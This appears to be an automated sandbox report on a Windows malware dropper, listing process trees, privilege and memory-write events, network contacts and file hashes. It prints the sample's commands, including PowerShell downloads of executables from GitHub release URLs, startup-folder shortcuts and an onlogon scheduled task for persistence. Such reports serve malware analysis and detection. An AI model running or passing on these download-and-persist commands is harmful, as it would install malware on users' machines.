N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\output.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\Loader.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\Loader.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1248 wrote to memory of 2428 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1248 wrote to memory of 2428 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1248 wrote to memory of 3736 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1248 wrote to memory of 3736 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1248 wrote to memory of 3852 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\Desktop\output.exe
PID 1248 wrote to memory of 3852 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\Desktop\output.exe
PID 1248 wrote to memory of 1268 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1248 wrote to memory of 1268 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1248 wrote to memory of 3580 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1248 wrote to memory of 3580 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1248 wrote to memory of 4224 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\Desktop\Loader.exe
PID 1248 wrote to memory of 4224 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\Desktop\Loader.exe
PID 4224 wrote to memory of 2028 N/A C:\Users\Admin\Desktop\Loader.exe C:\Windows\System32\cmd.exe
PID 4224 wrote to memory of 2028 N/A C:\Users\Admin\Desktop\Loader.exe C:\Windows\System32\cmd.exe
PID 4224 wrote to memory of 2668 N/A C:\Users\Admin\Desktop\Loader.exe C:\Windows\system32\cmd.exe
PID 4224 wrote to memory of 2668 N/A C:\Users\Admin\Desktop\Loader.exe C:\Windows\system32\cmd.exe
PID 2668 wrote to memory of 3124 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2668 wrote to memory of 3124 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2028 wrote to memory of 3888 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 2028 wrote to memory of 3888 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 2668 wrote to memory of 2632 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\WINDOWS.exe
PID 2668 wrote to memory of 2632 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\WINDOWS.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fab.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/DD/releases/download/D/output.exe -OutFile C:\Users\Admin\Desktop\output.exe -ErrorAction SilentlyContinue"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut1 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk'); $shortcut1.TargetPath = 'C:\Users\Admin\Desktop\output.exe'; $shortcut1.Save()"

C:\Users\Admin\Desktop\output.exe

C:\Users\Admin\Desktop\output.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/uu/releases/download/dss/Loader.exe -OutFile C:\Users\Admin\Desktop\Loader.exe -ErrorAction SilentlyContinue"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut2 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk'); $shortcut2.TargetPath = 'C:\Users\Admin\Desktop\Loader.exe'; $shortcut2.Save()"

C:\Users\Admin\Desktop\Loader.exe

C:\Users\Admin\Desktop\Loader.exe

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD551.tmp.bat""

C:\Windows\system32\timeout.exe

timeout 3

C:\Windows\system32\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'

C:\Users\Admin\AppData\Roaming\WINDOWS.exe

"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.111.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 133.111.199.185.in-addr.arpa udp
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 ip4.seeip.org udp
US 23.128.64.141:443 ip4.seeip.org tcp
GB 20.26.156.215:443 github.com tcp
US 185.199.111.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 technical-southwest.gl.at.ply.gg udp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 8.8.8.8:53 23.221.185.147.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discordapp.com udp
US 162.159.133.233:443 discordapp.com tcp
US 162.159.133.233:443 discordapp.com tcp
US 8.8.8.8:53 233.133.159.162.in-addr.arpa udp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 162.159.133.233:443 discordapp.com tcp

Files

memory/2428-0-0x00007FFD27083000-0x00007FFD27085000-memory.dmp

memory/2428-1-0x000001F7DB550000-0x000001F7DB572000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1q1h54x2.35r.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2428-11-0x00007FFD27080000-0x00007FFD27B42000-memory.dmp

memory/2428-12-0x00007FFD27080000-0x00007FFD27B42000-memory.dmp

memory/2428-13-0x00007FFD27080000-0x00007FFD27B42000-memory.dmp

memory/2428-17-0x00007FFD27080000-0x00007FFD27B42000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 ed30ca9187bf5593affb3dc9276309a6
SHA1 c63757897a6c43a44102b221fe8dc36355e99359
SHA256 81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
SHA512 1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810

memory/3736-19-0x00007FFD27080000-0x00007FFD27B42000-memory.dmp

memory/3736-29-0x00007FFD27080000-0x00007FFD27B42000-memory.dmp

memory/3736-30-0x00007FFD27080000-0x00007FFD27B42000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 f642e9a9ec48b7ade765089e6dc7fe2c
SHA1 915743eb8eadec32d80d79d55e80623017240840
SHA256 1e73b77ed880bbd281a209ac99697fbf32bed556c606d522ff4acc1ef9764d91
SHA512 187d166cb311214db2ad2c2198854bcff979c307e251f4e0aa067a5c56b55f3ee15ca5e941708749cdf0844a4230be4ccdb3d0dccbd3bea9abfd7547b5b7b9d6

memory/3736-32-0x00007FFD27080000-0x00007FFD27B42000-memory.dmp

C:\Users\Admin\Desktop\output.exe

MD5 a0e598ec98a975405420be1aadaa3c2a
SHA1 d861788839cfb78b5203686334c1104165ea0937
SHA256 e6ac8a6dac77f9873024f50befb293b9cf6347aa2e093cd863b551d9c8da5f8d
SHA512 e5ee500a8dcddd72e727cfa24e51093cd2b088f7ef89089f1d24145baa41c1ac46bf6be73bfd8cb15e2549349da8c2547d4e391b6e3a456621524fe0f83f9585

memory/3736-36-0x00007FFD27080000-0x00007FFD27B42000-memory.dmp

memory/3852-38-0x0000000000720000-0x0000000000730000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 ec5b38161c8f6ac340cb6138cb596b43
SHA1 f7bff6bbace0c89c34c1c5d691278555ad0dde92
SHA256 9408e79b4c066356b3446a3466d773704ed1bf7e247672063c992fe9c2710074
SHA512 96adb62f8b43821ff908637e0f180c371634c5368f82206af4775c7fbbce7b9cd22d40da99593012e01b853df5461d10cc93998c1382f574e47692ca4a254e72

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 7a7c4e11f39892e8fe79d116dd8483bd
SHA1 2032542fab0c4484caea72365ce1cf41bb84cdad
SHA256 a4780dce56ff0e2c3a5a885dfa4326715d587c048425fafab9ef4cc0a960f354
SHA512 399fe579df9178f146322ccca998fab9bac957a9520feb452b0c2d22b4534cf4b4f0db42d33db566dd587375f7d26fdb7620891e5bfb4e82865d7e805f1672a9

C:\Users\Admin\Desktop\Loader.exe

MD5 7ceb11ebb7a55e33a82bc3b66f554e79
SHA1 8dfd574ad06ded662d92d81b72f14c1914ac45b5
SHA256 aea3e89e45a33441bcd06c990282f8601eb960a641c611222dce2fe09685e603
SHA512 d8cd7af50996015163c8926fc7b6df6a6e2c0b3f6c8fcff37cad5b72fed115f7134723d99f61a20576b83e67107a3a410f5ef2312191446b3d0759cb739e6ccd

memory/4224-65-0x00000000002E0000-0x00000000002F6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmpD551.tmp.bat

MD5 dac80343dc5bb7484373304dbe0e189e
SHA1 517d701715c57837fc2f4c44ef4334415345725d
SHA256 0de5aa3c30f23f99569f38273b73a7c8c8f21687cdbbfb8fb8c765aef07694ed
SHA512 73dd0492d367368ce6420c494c6656964956abf0b2fd90c555b6400f6a75b5639132bd57c1676da1cb08965de70990537bf9dd82b7d179e2d5f8cc43154981ab